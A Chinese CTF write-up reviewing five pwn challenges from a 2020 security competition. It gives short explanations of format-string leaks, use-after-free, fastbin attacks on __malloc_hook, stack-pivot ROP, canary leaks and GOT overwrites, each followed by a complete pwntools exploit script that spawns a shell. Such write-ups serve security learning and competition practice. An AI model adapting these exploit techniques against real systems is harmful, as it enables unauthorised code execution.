2020信息安全铁人三项 pwn复盘

第一赛区

hacknote

　　程序存在格式化字符串漏洞和uaf，不多说了，很简单。

 

from pwn import *

p = process('./hacknote')
elf = ELF('./hacknote')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
#by bhxdn

def duan():
    gdb.attach(p)
    pause()

def add(size,content):
    p.sendlineafter('choice :','1')
    p.sendlineafter('size :',str(size))
    p.sendafter('Content :',content)

def delete(index):
    p.sendlineafter('choice :','2')
    p.sendlineafter('Index :',str(index))

def show(index):
    p.sendlineafter('choice :','3')
    p.sendlineafter('Index :',str(index))

#leak libc_base
p.sendafter('name!\n','%13$p')
p.recvuntil('hello ,')
libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
print 'libc_base-->' + hex(libc_base)
shell = libc_base + 0x45226

add(0x20,'aaaaaaaa')
add(0x20,'bbbbbbbb')
delete(0)
delete(1)
add(0x10,p64(shell))
show(0)
p.interactive()

 

heap

　　同样是存在格式化字符串漏洞和uaf漏洞。

　　说一下格式化字符串漏洞泄露libc吧。

 

　　这里我直接看偏移为25的值。然后pwndbg看栈的情况，我直接stack 300看栈情况。然后放到文本中去找。

 

　　25偏移下面那个箭头，所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。

　　程序存在uaf漏洞，fastbins attack来攻击__malloc__hook，这里还需要利用realloc来调整一下栈帧来让one_gadget生效。

 

from pwn import *

p = process('./heap')
elf = ELF('./heap')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
#by bhxdn

def duan():
    gdb.attach(p)
    pause()

def add(size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('item: ',str(size))

def delete(index):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('item: ',str(index))

def edit(index,content):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('item: ',str(index))
    p.sendafter('data: ',content)

def show(index):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('item: ',str(index))


#leak libc_base
p.sendafter('name: ','%19$p')
p.recvuntil('Hello, ')
libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
print 'libc_base-->' + hex(libc_base)
shell = libc_base + 0x4527a

add(0x20) #0
add(0x60) #1
delete(1)
edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(0x60) #1 2
add(0x60) #attack
edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
add(0x60)
p.interactive()

 

 

第二赛区

stackstorm

　　可以往堆写入两次数据(但似乎并没有什么用)，可以栈溢出，但是只能溢出0x10字节。

　　利用第一次溢出泄露栈地址，然后第二次在栈上布置rop，利用栈转移迁移到我们布置的rop链上，leak了libc地址，然后返回到main函数，直接将返回地址覆盖成one_gadget就可以了。

 

from pwn import *

p = process('./stackstorm')
elf = ELF('./stackstorm')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

pop_rdi = 0x00400903
leave_ret = 0x04007C1
buf = elf.bss()+0x100
main = 0x04007C3

p.sendafter('data1:\n','bhxdn')
payload = 'a'*(0x70-1)+'b'
p.sendafter('data2:\n',payload)
p.recvuntil('b')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'stack_addr-->' + hex(stack_addr)

p.sendafter('data1:\n','bhxdn')
payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
p.sendafter('data2:\n',payload)
p.recv(12)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
print 'libc_base-->'+hex(libc_base)
shell = libc_base+0x4527a

payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
p.send('bhxdn')
p.sendafter('data2:\n',payload)
p.interactive()

 

 

 

 

第三赛区

待更新

第四赛区

namepie

　　程序本身有system("/bin/sh")，两个输入，可以利用第一个输入leak canary。

 

 　　图片可以看到rbp下面是程序本身的地址。开启pie 的程序，后三位是不会变的，所以只覆盖最后一个字节，覆盖成shell的字节，就拿到shell了。

exp：

from pwn import *

elf = ELF('./namepie')
context.log_level = 'debug'

shell = 0x000A71

p = process('./namepie')
p.recvuntil('Name:\n')
p.send('a'*0x28+'b')
p.recvuntil('b')
canary = u64(p.recv(7).rjust(8,'\x00'))
print 'canary-->' + hex(canary)
p.recv()
p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71')
p.sendline('ls')
p.recvuntil('namepie')
p.interactive()

 

onetime

　　是一道菜单堆题。调试的时候发现bss段上有7f。

　　存在uaf，先malloc一个chunk，再free掉，修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据，并且有一个可以读写的指针。

　　将指针指向malloc_got，泄露libc地址，然后修改malloc_got为one_gadget的地址，再执行malloc就拿到shell了。

 

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()

def add():
    p.sendlineafter('choice >>\n','1')

def edit(content):
    p.sendlineafter('choice >>\n','2')
    p.sendafter('content:',content)

def show():
    p.sendlineafter('choice >>\n','3')

def delete():
    p.sendlineafter('choice >>\n','4')

def gift(content):
    p.sendlineafter('choice >>\n','5')
    p.sendafter('name:',content)

attack_addr = 0x0006020BC-0x2f
#x/32gx 0x0006020BC-0x24
add()
delete()
edit(p64(attack_addr))
add()
gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))

show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc']
print 'libc_base-->' + hex(libc_base)
shell = libc_base + 0x45226


edit(p64(shell))
add()
p.interactive()